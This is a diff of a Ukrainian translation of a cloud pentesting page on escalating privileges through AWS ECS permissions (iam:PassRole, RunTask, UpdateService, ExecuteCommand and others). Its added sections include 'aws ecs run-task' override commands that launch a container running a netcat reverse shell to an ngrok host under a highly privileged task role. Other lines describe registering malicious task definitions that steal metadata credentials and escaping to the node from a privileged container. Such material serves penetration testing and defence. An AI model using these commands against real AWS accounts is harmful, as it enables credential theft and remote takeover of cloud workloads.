Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md

@@ -4,7 +4,7 @@
 
 ## ECS
 
-Більше **інформації про ECS** в:
+Додаткова **інформація про ECS** у:
 
 {{#ref}}
 ../aws-services/aws-ecs-enum.md
@@ -12,7 +12,7 @@
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
 
-Зловмисник, який зловживає дозволами `iam:PassRole`, `ecs:RegisterTaskDefinition` та `ecs:RunTask` в ECS, може **створити нове визначення завдання** з **шкідливим контейнером**, який краде облікові дані метаданих і **запустити його**.
+Зловмисник, який зловживає дозволами `iam:PassRole`, `ecs:RegisterTaskDefinition` та `ecs:RunTask` в ECS, може **створити новий task definition** з **шкідливим контейнером**, який викрадає облікові дані метаданих і **запустити його**.
 
 {{#tabs }}
 {{#tab name="Reverse Shell" }}
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 
 {{#tab name="Webhook" }}
 
-Створіть вебхук на сайті, як webhook.site
+Створіть webhook на сайті на кшталт webhook.site
 ```bash
 
 # Create file container-definition.json
@@ -75,12 +75,58 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 
 {{#endtabs }}
 
-**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі ECS.
+**Потенційний вплив:** Direct privesc to a different ECS role.
+
+### `iam:PassRole`,`ecs:RunTask`
+Зловмисник, який має дозволи `iam:PassRole` та `ecs:RunTask`, може запустити нове ECS завдання з зміненими значеннями **execution role**, **task role** та **command** контейнера. CLI-команда `ecs run-task` містить прапорець `--overrides`, який дозволяє змінювати під час виконання `executionRoleArn`, `taskRoleArn` та `command` контейнера без модифікації task definition.
+
+Вказані IAM ролі для `taskRoleArn` та `executionRoleArn` у політиці довіри повинні дозволяти їх бути assumed сервісом `ecs-tasks.amazonaws.com`.
+
+Крім того, зловмиснику потрібно знати:
+- назву ECS кластера
+- VPC Subnet
+- Security group (If no security group is specified the default one will be used)
+- назву Task Definition та ревізію
+- назву контейнера
+```bash
+aws ecs run-task \
+--cluster <cluster-name> \
+--launch-type FARGATE \
+--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
+--task-definition <task-definition:revision> \
+--overrides '
+{
+"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"containerOverrides": [
+{
+"name": <container-name>,
+"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
+}
+]
+}'
+```
+У наведеному вище фрагменті коду атакувальник змінює тільки значення `taskRoleArn`. Проте атакувальник повинен мати дозвіл `iam:PassRole` на `taskRoleArn`, вказаний у команді, і на `executionRoleArn`, вказаний у визначенні таска, щоб атака була можлива.
+
+Якщо IAM role, яку атакувальник може передати, має достатні привілеї для завантаження образу з ECR та запуску ECS таска (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), то атакувальник може вказати ту саму IAM role для обох `executionRoleArn` і `taskRoleArn` у команді `ecs run-task`.
+```sh
+aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
+{
+"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"containerOverrides": [
+{
+"name": "<container-name>",
+"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
+}
+]
+}'
+```
+**Можливий вплив:** Пряме privesc до будь-якої ECS task role.
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
 
-Так само, як у попередньому прикладі, зловмисник, який зловживає дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** в ECS, може **створити нове визначення завдання** з **шкідливим контейнером**, який краде облікові дані метаданих і **запустити його**.\
-Однак у цьому випадку потрібно, щоб контейнерна інстанція запустила шкідливе визначення завдання.
+Як і в попередньому прикладі, зловмисник, що зловживає дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** в ECS, може **згенерувати нову task definition** з **malicious container**, яка викрадає metadata credentials і **запустити її**.\
+Однак у цьому випадку потрібен container instance для запуску malicious task definition.
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -96,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
 ## You need to remove all the versions (:1 is enough if you just created one)
 aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 ```
-**Потенційний вплив:** Пряме підвищення привілеїв до будь-якої ролі ECS.
+**Potential Impact:** Прямий privesc до будь-якої ролі ECS.
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
 
-Так само, як у попередньому прикладі, зловмисник, який зловживає дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** або **`ecs:CreateService`** в ECS, може **створити нову задачу** з **шкідливим контейнером**, який краде облікові дані метаданих, і **запустити її, створивши нову службу з принаймні 1 запущеною задачею.**
+Як і в попередньому прикладі, атакуючий, зловживаючи дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** або **`ecs:CreateService`** в ECS, може **згенерувати нове визначення задачі** з **шкідливим контейнером**, який викрадає облікові дані метаданих, і **запустити його, створивши нову службу з принаймні 1 запущеним завданням.**
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -123,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
 --service <SERVICE NAME> \
 --task-definition <NEW TASK DEFINITION NAME>
 ```
-**Потенційний вплив:** Пряме підвищення привілеїв до будь-якої ролі ECS.
+**Potential Impact:** Прямий privesc до будь-якої ролі ECS.
 
 ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
 
-Насправді, лише з цими дозволами можливо використовувати переопределення для виконання довільних команд у контейнері з довільною роллю за допомогою чогось на зразок:
+Насправді, лише з цими дозволами можна використовувати overrides для виконання довільних команд у контейнері з довільною роллю приблизно так:
 ```bash
 aws ecs run-task \
 --task-definition "<task-name>" \
@@ -135,16 +181,16 @@ aws ecs run-task \
 --cluster <cluster-name> \
 --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
 ```
-**Потенційний вплив:** Пряме підвищення привілеїв до будь-якої ролі ECS.
+**Можливий вплив:** Direct privesc to any ECS role.
 
 ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
 
-Цей сценарій схожий на попередні, але **без** дозволу **`iam:PassRole`**.\
-Це все ще цікаво, оскільки, якщо ви можете запустити довільний контейнер, навіть якщо він без ролі, ви могли б **запустити привілейований контейнер, щоб втекти** на вузол і **вкрасти роль EC2 IAM** та **інші ролі контейнерів ECS**, що працюють на вузлі.\
-Ви навіть могли б **примусити інші завдання працювати всередині EC2 інстансу**, який ви скомпрометували, щоб вкрасти їхні облікові дані (як обговорювалося в [**Розділі підвищення привілеїв до вузла**](aws-ecs-privesc.md#privesc-to-node)).
+Цей сценарій схожий на попередні, але **без** **`iam:PassRole`** дозволу.\
+Це все ще цікаво, тому що якщо ви можете запустити довільний контейнер, навіть якщо він без ролі, ви могли б **run a privileged container to escape** на вузол і **steal the EC2 IAM role** та **the other ECS containers roles**, що працюють на ньому.\
+Ви навіть можете **force other tasks to run inside the EC2 instance** яку ви скомпрометували, щоб викрасти їхні облікові дані (як обговорено в [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
 
 > [!WARNING]
-> Цей напад можливий лише якщо **ECS кластер використовує EC2** інстанси, а не Fargate.
+> Ця атака можлива лише якщо **ECS cluster is using EC2** інстанси і не Fargate.
 ```bash
 printf '[
 {
@@ -187,10 +233,10 @@ aws ecs run-task --task-definition iam_exfiltration \
 ```
 ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
 
-Зловмисник з **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** може **виконувати команди** всередині запущеного контейнера та ексфільтрувати IAM роль, що до нього прикріплена (вам потрібні дозволи на опис, оскільки це необхідно для виконання `aws ecs execute-command`).\
-Однак, для цього екземпляр контейнера повинен працювати з **агентом ExecuteCommand** (який за замовчуванням не активований).
+Зловмисник з правами **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** може **виконувати команди** всередині запущеного контейнера та екфільтрувати прикріплену до нього IAM роль (вам потрібні дозволи describe, оскільки вони необхідні для виконання `aws ecs execute-command`).\
+Однак, для цього інстанс контейнера має бути запущений з **ExecuteCommand agent** (за замовчуванням цього немає).
 
-Отже, зловмисник може спробувати:
+Тому зловмисник може спробувати:
 
 - **Спробувати виконати команду** в кожному запущеному контейнері
 ```bash
@@ -210,18 +256,18 @@ aws ecs execute-command --interactive \
 --cluster "$CLUSTER_ARN" \
 --task "$TASK_ARN"
 ```
-- Якщо у нього є **`ecs:RunTask`**, запустіть задачу за допомогою `aws ecs run-task --enable-execute-command [...]`
-- Якщо у нього є **`ecs:StartTask`**, запустіть задачу за допомогою `aws ecs start-task --enable-execute-command [...]`
-- Якщо у нього є **`ecs:CreateService`**, створіть сервіс за допомогою `aws ecs create-service --enable-execute-command [...]`
-- Якщо у нього є **`ecs:UpdateService`**, оновіть сервіс за допомогою `aws ecs update-service --enable-execute-command [...]`
+- Якщо має **`ecs:RunTask`**, запустіть задачу за допомогою `aws ecs run-task --enable-execute-command [...]`
+- Якщо має **`ecs:StartTask`**, запустіть задачу за допомогою `aws ecs start-task --enable-execute-command [...]`
+- Якщо має **`ecs:CreateService`**, створіть сервіс за допомогою `aws ecs create-service --enable-execute-command [...]`
+- Якщо має **`ecs:UpdateService`**, оновіть сервіс за допомогою `aws ecs update-service --enable-execute-command [...]`
 
 Ви можете знайти **приклади цих опцій** у **попередніх розділах ECS privesc**.
 
-**Потенційний вплив:** Privesc до іншої ролі, прикріпленої до контейнерів.
+**Potential Impact:** Privesc до іншої ролі, прикріпленої до контейнерів.
 
 ### `ssm:StartSession`
 
-Перевірте на **сторінці ssm privesc**, як ви можете зловживати цим дозволом для **privesc до ECS**:
+Перевірте на **ssm privesc page**, як можна зловживати цим дозволом, щоб **privesc to ECS**:
 
 {{#ref}}
 aws-ssm-privesc.md
@@ -229,24 +275,26 @@ aws-ssm-privesc.md
 
 ### `iam:PassRole`, `ec2:RunInstances`
 
-Перевірте на **сторінці ec2 privesc**, як ви можете зловживати цими дозволами для **privesc до ECS**:
+Перевірте на **ec2 privesc page**, як можна зловживати цими дозволами, щоб **privesc to ECS**:
 
 {{#ref}}
 aws-ec2-privesc.md
 {{#endref}}
 
-### `?ecs:RegisterContainerInstance`
+### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
 
-TODO: Чи можливо зареєструвати екземпляр з іншого облікового запису AWS, щоб задачі виконувалися на машинах, контрольованих зловмисником??
+Attacker з цими дозволами потенційно може зареєструвати EC2 інстанс у ECS кластері та запускати завдання на ньому. Це могло б дозволити attacker виконувати довільний код у контексті завдань ECS.
+
+- TODO: Чи можливо зареєструвати інстанс з іншого AWS акаунту, щоб завдання виконувалися на машинах, контрольованих attacker??
 
 ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
 
 > [!NOTE]
-> TODO: Протестуйте це
+> TODO: Протестувати це
 
-Зловмисник з дозволами `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` та `ecs:DescribeTaskSets` може **створити шкідливий набір задач для існуючого сервісу ECS та оновити основний набір задач**. Це дозволяє зловмиснику **виконувати довільний код у межах сервісу**.
+Attacker з дозволами `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, та `ecs:DescribeTaskSets` може **create a malicious task set for an existing ECS service and update the primary task set**. Це дозволяє attacker **execute arbitrary code within the service**.
 ```bash
-bashCopy code# Register a task definition with a reverse shell
+# Register a task definition with a reverse shell
 echo '{
 "family": "malicious-task",
 "containerDefinitions": [
@@ -270,7 +318,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
 # Update the primary task set for the service
 aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
 ```
-**Потенційний вплив**: Виконання довільного коду в ураженій службі, що може вплинути на її функціональність або ексфільтрувати чутливі дані.
+**Потенційний вплив**: Виконання довільного коду в ураженому сервісі, що потенційно може вплинути на його функціональність або exfiltrating конфіденційних даних.
 
 ## Посилання